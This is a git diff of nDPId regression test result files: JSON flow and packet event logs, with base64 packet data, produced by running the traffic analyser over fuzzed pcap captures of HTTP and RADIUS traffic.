+00423{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854565,"pkt_ts_usec":449297,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5MlcwAgsl17CABFAAAoxN1AAEAGF7isFAMNrBSUBQBQCjDK9viB5V53aFEQgywIrgAA"} +00455{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":122,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1031854565547,"flow_last_seen":0,"flow_tot_l4_data_len":507,"flow_min_l4_data_len":507,"flow_max_l4_data_len":507,"flow_avg_l4_data_len":507,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","l4_proto":115,"flow_datalink":1,"flow_max_packets":15} +01078{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854565,"pkt_ts_usec":547432,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"AFCLk5N8CAAgsl17CABFAAIPxN5AACVzANCsFAMNrBQDBQBQCjDK9pOB5V53aFAYgywfUQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFJlc2luLzIuMC4xDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3htbA0KQ29udGVudC1MZW5ndGg6IDM1OA0KRGF0ZTogVGh1LCAxMiBTZXAgMjA0MiAxODoxNjowNTBHTVQNCg0KPD94bWwgdmVyc2lvbj0iMS4wIj8+DQo8IURPQ1RZUEUgcGFwIFBVQkxJQyAiLS8vV0FQRk9SVU0vL0RUlCBQQVAgMS4wLy9FTiIgImh0dHA6Ly93d3cud2FwZm9ydW0ub3JnL0RURC9wYXBfMS4wLmR0ZCI+DQo8cGFwPg0KPFplc3VsdG5vdBBmaWNhdGlvbi1yZXNwb25zZSBwdXNoLWlkPSIxODkPMDFfMTAzMTg1NDU2MjQ4Ml8xMDM4QGdlY2RzMi5tb2JpbGl0eWxhYi5uZXQiIGNvZGU9IjEwMDAiIGRlc2M9Ik9LIj4NCjxhZGRyZXNzIGFkZKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00431{"flow_id":36,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854565,"pkt_ts_usec":700696,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoUktAAIAGSkqsFAMFrBQDDQowAFDlXndoyvaVaFAQIFFpogAAAAAAZAAA"} +00423{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854567,"pkt_ts_usec":701273,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxN9AAEAGF7asFAMNrBQDBc+QAFDK5C6o5VOislARgyx8+AAA"} +00432{"flow_id":33,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854567,"pkt_ts_usec":701520,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoU0tAAIAGSUqsFAMFrBQDDQBQz5B0U6KyyuQuqVAQHdziSAAAAAAAZAAA"} +00432{"flow_id":33,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854567,"pkt_ts_usec":701762,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoVEtAAIAGSEqsFAMFrBQDDQBQz5DlU6KyyuQuqVARHdziRwAAAAAAZAAA"} +00424{"flow_id":33,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854567,"pkt_ts_usec":701792,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxOBAAEAGF7WsFAMNrBQDBc+QAFDK5C6p5VOis1AQgyx89wAA"} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1031854562690,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.67.13","dst_ip":"172.20.3.5","src_port":53136,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1031854562690,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.67.13","dst_ip":"172.20.3.5","src_port":53136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1031854562488,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.35.13","src_port":80,"dst_port":53136,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1031854562488,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.35.13","src_port":80,"dst_port":53136,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1031854562488,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":53193,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1031854562488,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":53193,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1031854565547,"flow_last_seen":0,"flow_tot_l4_data_len":507,"flow_min_l4_data_len":507,"flow_max_l4_data_len":507,"flow_avg_l4_data_len":507,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","l4_proto":115,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00456{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1031854565547,"flow_last_seen":0,"flow_tot_l4_data_len":507,"flow_min_l4_data_len":507,"flow_max_l4_data_len":507,"flow_avg_l4_data_len":507,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","l4_proto":115,"flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1031854562489,"flow_last_seen":0,"flow_tot_l4_data_len":820,"flow_min_l4_data_len":820,"flow_max_l4_data_len":820,"flow_avg_l4_data_len":820,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.70.3.5","src_port":53136,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":11,"flow_first_seen":1031854488666,"flow_last_seen":1031854499919,"flow_tot_l4_data_len":6051,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":550,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":8,"flow_first_seen":1031854495447,"flow_last_seen":1031854506544,"flow_tot_l4_data_len":1355,"flow_min_l4_data_len":20,"flow_max_l4_data_len":728,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1031854557975,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.72.5","src_port":80,"dst_port":2606,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1031854562401,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.2.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2607,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1031854565449,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.148.5","src_port":80,"dst_port":2608,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1031854565449,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.148.5","src_port":80,"dst_port":2608,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1031854562321,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":9587,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854568,"pkt_ts_usec":982207,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoVUtAAIAGR0qsFAMFrBQDDQouAFDlQXQRysYIelARHWv9GwAAAAAAZAAA"} +00424{"flow_id":26,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854568,"pkt_ts_usec":982220,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AVCLk5N8CAAgsl17CABFAAAoxOFAAEAGF7SsFAMNrBQDBQBQCi7Kxgh65UF0ElAQgyyXWgAA"} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":130,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854568,"pkt_ts_usec":982532,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":54,"pkt_l4_len":0,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxOJAl0AGF7OsFAMNrBQDBQBQCi7Kxgh65UF0ElARgyyXWQAA"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":130,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","l4_data_len":20} +00432{"flow_id":26,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854568,"pkt_ts_usec":982740,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"DAAgsl17AFCLk5N8CABFAAAoVktAAIAGRkqsFAMFrBQDDQouAFDlQXQSysYIe1AQHWv9GgAAAAAAZAAA"} diff --git a/test/results/fuzz-2020-02-16-11740.pcap.out b/test/results/fuzz-2020-02-16-11740.pcap.out new file mode 100644 index 000000000..080e3e074 --- /dev/null +++ b/test/results/fuzz-2020-02-16-11740.pcap.out @@ -0,0 +1,468 @@ +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1528996067791,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"108.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01347{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996067,"pkt_ts_usec":791491,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbIMZAAP8RAAAKDEAebOIZNXIQBxQCxwAAAQoCv14OK3h3MxRiiuPV6g7+kV4aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADikDQM2NwZbIqDjATUwMzExNDgwMjeaNTE2NDgwQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZmMtZGItYjMtMDgtZmYtMTQeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XVkZpd2NjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLUlkPTEwZmYxMGFjMDAwMDAwYjFkMWEwMjI1YiwgNWIyMmEwZDEvZmM6ZGI6YjM6MDg6ZmY6MTQvMjA1BAasFAEQIA5WWldDMlRlc3RMYWI6DAAAN2MBBgAAAAIGBgAAAEQlAAAABRQ9BgAAABNABgAAAA1BBgAAAAZRRTU2TzoCAQA4ATAzMTE0ODAyNzE1MTY0ODBAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm+qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1528996067791,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"108.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1528996068005,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.102.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00591{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996068,"pkt_ts_usec":5769,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAACl7dxAAPwRZijG4hk1CmZAHgcUchAAkTltCwoAiSM4ARafmcO5UlnZgWS\/VrEBNTAzMXE0ODAyNzE1MTY0ODBAd2xhbi5tbmM0ODAufWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEwZDEvZmM6ZGI6YjM6MDg6dmY6MTQvMjA1Tw4BAgAMFwwAAAwBQABQEpOK5mo0k\/FCxgtYc0d6dIg="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1528996068005,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.102.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1528996068129,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01283{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996068,"pkt_ts_usec":129675,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"AAAMB6xAABRP+4rqCABFAAKrIMdAAP8RAAAKDEAexuIZNXIQBxQClwAAAQsCj4S+BLJeRUI2j+crsJkatvQaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUiUAGgkAADghDQM2NwZbIqDkATUwMzExNDgwMjcxNTE2NDgwQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZmMtZGItYjMtMDgtZmYtMTQeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjFkMWEwMjI1YiwgNWIyMmEwZDEvZmM6ZGI6YjM6MDg6ZmY6MTQvMjA1BAasFAEQIA5WWldDMlRlc3RsYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TwoCAgAIFwwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARMVBoQAAAlAAoKU3RhbmQ5cmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAGCESD0ludmFsQmQgVmFsdWUaHQAAOCETFzQwLjgwNDg4JQAtNzQuMTAyODNVVxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVAS3TFDXZx6RcHx5Q8nnMq0Ng=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1528996068129,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00696{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996068,"pkt_ts_usec":284843,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"ABRP+4rqcNuYVcUnCABFAADz7eFAAPwRZdbG4hk1CgxAHgcUchAA39JxAwsA1+U\/DuIEVKatp1a5Vz8iUQkBNTAzMTE0ODAyNzE1MTY0ODBAd2xhbi5tbmM0ODAubaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1528996068005,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.102.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1528996067791,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"108.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01309{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996520,"pkt_ts_usec":702154,"pkt_caplen":745,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq